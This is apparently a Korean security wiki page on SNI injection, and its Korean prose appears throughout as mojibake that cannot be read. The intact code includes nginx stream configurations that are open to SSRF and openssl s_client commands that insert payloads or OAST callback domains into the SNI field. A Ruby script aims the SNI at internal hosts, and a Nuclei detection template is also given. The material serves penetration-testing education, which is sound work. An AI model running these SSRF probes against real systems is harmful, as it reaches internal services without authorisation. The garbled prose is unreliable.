SNI Injection

๐Ÿ” Introduction

SNI

SNI(Server Name Indication)์€ TLS์˜ ํ™•์žฅ ๊ธฐ๋Šฅ์œผ๋กœ handshake ๊ณผ์ • ์ดˆ๊ธฐ์— ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์–ด๋–ค ํ˜ธ์ŠคํŠธ์— ์ ‘์†ํ•˜๋Š”์ง€ ์„œ๋ฒ„์—๊ฒŒ ์•Œ๋ฆฌ๋Š” ์—ญํ• ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

RFC 6066

SNI Injection

์ด๋Ÿฌํ•œ SNI ์ •๋ณด๋Š” ํด๋ผ์ด์–ธํŠธ์™€ ์„œ๋ฒ„๊ฐ„์˜ ํ†ต์‹ ์„ ์œ„ํ•ด Handshakeํ•˜๋Š” ๊ณผ์ •์—์„œ ์‚ฌ์šฉ๋˜๊ธฐ ๋•Œ๋ฌธ์— SNI ์ •๋ณด๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ฑฐ๋‚˜ ๊ฒ€์ฆ๋“ฑ์— ํ™œ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ์ผ๋ฐ˜์ ์ธ Injection ๊ณต๊ฒฉ๊ณผ ๋™์ผํ•˜๊ฒŒ ์ž„์˜์˜ ๋ฐ์ดํ„ฐ๋ฅผ Injectํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋Œ€ํ‘œ์ ์œผ๋กœ ํ™œ์šฉ๋˜๋Š” ์ผ€์ด์Šค๋Š” ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  • TLS๋ฅผ ์‚ฌ์šฉํ•˜๋Š” Application์˜ ์ด์ƒ ๋™์ž‘์„ ์œ ๋„ (Overflow, Crash)
  • SNI๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” WAS๋‚˜ Ingress์˜ ํŠน์ง•์„ ์ด์šฉํ•˜์—ฌ SSRF
# SNI SSRF์— ์ทจ์•ฝํ•œ nginx ์„ค์ •
stream {
    server {
        listen 443; 
        resolver 127.0.0.11;
        proxy_pass $ssl_preread_server_name:443;       
        ssl_preread on;
    }
}

# ์ •๊ทœํ‘œํ˜„์‹์„ ํ†ตํ•ด ์ฒ˜๋ฆฌํ•˜๋Š” ๊ฒฝ์šฐ์—๋„ SNI๋ฅผ ํ†ตํ•ด ํ†ต์ œ๋˜์ง€ ์•Š๋Š” ๋™์ž‘์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Œ
stream {
    map $ssl_preread_server_name $targetBackend {
        ~^www.example\.com    $ssl_preread_server_name;
    }  

    server {
        listen 443; 
        resolver 127.0.0.11;
        proxy_pass $targetBackend:443;       
        ssl_preread on;
    }
}

๐Ÿ—ก Offensive techniques

Detect

SNI Injection์„ ์œ„ํ•ด์„  SNI ํ•„๋“œ๋ฅผ ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋กœ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. Packet์„ ์กฐ์ž‘ํ•˜์—ฌ ์ „๋‹ฌํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ๊ฐ€์žฅ ๊นŠ์€ ๋ ˆ๋ฒจ์˜ ๊ณต๊ฒฉ๊นŒ์ง€ ์ง„ํ–‰ํ•  ์ˆ˜ ์žˆ๊ณ , ์ผ๋ฐ˜์ ์œผ๋ก  ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด์„œ ํŽธ์ง‘ํ•˜๋Š”๊ฒŒ ํŽธ๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

OpenSSL

openssl s_client \
  -connect target.com:443 \
  -servername "<PAYLOAD>" \
  -crlf

openssl client๋ฅผ ํ†ตํ•ด ์‰ฝ๊ฒŒ SNI๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -servername flag๋Š” SNI ๋ฐ์ดํ„ฐ๋ฅผ ์ง€์ •ํ•˜๋Š” ๋ถ€๋ถ„์œผ๋กœ ํ•ด๋‹น flag๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์‚ฝ์ž…ํ•˜๊ฑฐ๋‚˜ ์•„๋ž˜์™€ ๊ฐ™์ด OOB๋ฅผ ์œ ๋„ํ•˜๋Š” OAST๋ฅผ ํ†ตํ•ด ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# OAST
openssl s_client \
  -connect target.com:443 \
  -servername "ecoztid37w4o7gpy6wgzgvyify.odiss.eu" \
  -crlf

Ruby

Ruby, Python ๋“ฑ์œผ๋กœ ์‰ฝ๊ฒŒ ์ž‘์„ฑํ•ด์„œ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์•„๋ž˜๋Š” Ruby๋กœ ์ž‘์„ฑํ•œ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค.

# frozen_string_literal: true

require 'net/http'

def check(url, sni)
  uri = URI(url)

  Net::HTTP.start(uri.host, uri.port, use_ssl: true, ipaddr: sni) do |http|
    request = Net::HTTP::Get.new(uri)
    response = http.request(request)

    p response.code
    p response.body
  end
end

check('https://www.hahwul.com','internal.hahwul.com')
check('https://www.hahwul.com','dalfox.hahwul.com')

Nuclei

tls-sni๋ฅผ ์‰ฝ๊ฒŒ ์ˆ˜์ •ํ•˜๋ฉด์„œ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ๋„๋ก Nuclei์—์„  ๊ธฐ๋Šฅ๊ณผ ํ…œํ”Œ๋ฆฟ์„ ์ œ๊ณตํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

id: tls-sni-proxy

info:
  name: TLS SNI Proxy Detection
  author: pdteam
  severity: info
  reference:
    - https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
    - https://www.bamsoftware.com/computers/sniproxy/
  tags: ssrf,oast,tls,sni,proxy

requests:
  - raw:
      - |
        @tls-sni: interactsh-url
        GET HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

https://github.com/projectdiscovery/nuclei-templates/blob/main/misconfiguration/tls-sni-proxy.yaml

Exploitation

Injection ๊ณต๊ฒฉ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์–ด๋–ค ์•ก์…˜์„ ๋ชฉ์ ์œผ๋กœ ํ•˜๊ณ  ์–ด๋–ค ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ , ๋Œ€์ƒ์— ์–ด๋–ค ์ทจ์•ฝ์ ์ด ์žˆ๋Š๋ƒ์— ๋”ฐ๋ผ์„œ ์—ฌ๋Ÿฌ๊ฐ€์ง€ ํ˜•ํƒœ๋กœ ๋‚˜ํƒ€๋‚˜์ง€๋งŒ ๊ฐ€์žฅ ์ž˜ ์•Œ๋ ค์ง„ ๊ณต๊ฒฉ์€ SSRF ์ž…๋‹ˆ๋‹ค.

SSRF

# SSRF via SNI
openssl s_client \
  -connect target.com:443 \
  -servername "internal.inhouse.domain" \
  -crlf

์•„๊นŒ ์œ„์—์„œ ์ด์•ผ๊ธฐํ–ˆ๋˜ Ruby ์ฝ”๋“œ๋ฅผ ๊ฐ€์ง€๊ณ  ์˜ˆ์‹œ๋กœ ์ž‘์„ฑํ•ด๋ณด๋ฉด ์ด๋ ‡์Šต๋‹ˆ๋‹ค.

require 'net/http'

def check(url, sni)
  uri = URI(url)

  Net::HTTP.start(uri.host, uri.port, use_ssl: true, ipaddr: sni) do |http|
    request = Net::HTTP::Get.new(uri)
    response = http.request(request)

    p response.code
    p response.body
  end
end

check('https://public.target.com/server-status','internal.service')

์›น ์š”์ฒญ์€ ์•„๋ž˜์™€ ๊ฐ™์ด ๋ฐœ์ƒํ•˜์ง€๋งŒ ์‹ค์ œ ์—ฐ๊ฒฐ๋˜๋Š” ๋„๋ฉ”์ธ์€ internal.service๋กœ proxy_pass ๋“ฑ์ด ์˜ค ์„ค์ •๋œ ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž๊ฐ€ ์›ํ•˜๋Š” ๋„๋ฉ”์ธ์œผ๋กœ ์š”์ฒญ์„ ๋ฐœ์ƒ ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

GET /server-status HTTP/1.1

With CRLF Injection

BlackHat ๋ฌธ์„œ ์ค‘ ์œ ๋ช…ํ•œ Era of SSRF๋ฅผ ๋ณด๋ฉด SNI Injection ์— ๋Œ€ํ•œ ๋‚ด์šฉ๋„ ์žˆ์Šต๋‹ˆ๋‹ค. Mail Injection์—๋„ ์ถฉ๋ถ„ํžˆ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋‹ˆ ์ž˜ ์•Œ์•„๋‘์‹œ๋Š”๊ฒŒ ์ข‹์„ ๊ฒƒ ๊ฐ™๋„ค์š” :D

Era of SSRF

๐Ÿ›ก Defensive techniques

์‹ค์ œ Application์—์„œ ์ง์ ‘ TLS๋ฅผ ๋‹ค๋ฃจ๋Š” ๊ฒฝ์šฐ๋Š” ์ ์Šต๋‹ˆ๋‹ค. ๊ด€๋ จ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋˜๋Š” WAS, Ingress ๋“ฑ์˜ ์„ค์ •์—์„œ SNI๋ฅผ ์‹ ๋ขฐํ•˜๋Š”์ง€, ์–ด๋–ป๊ฒŒ ์ฒ˜๋ฆฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ์œ„์™€ ๊ฐ™์€ ๊ฒฝ์šฐ๋“ค์ด ๋ฐœ์ƒํ•˜์ง€ ์•Š๋„๋ก ๊ทœ์น™์ด๋‚˜ ์ •๊ทœํ‘œํ˜„์‹ ๋“ฑ์„ ์ •ํ™•ํ•˜๊ฒŒ ์„ค์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ•น Tools

  • https://github.com/tls-attacker/TLS-Attacker

๐Ÿ“Œ References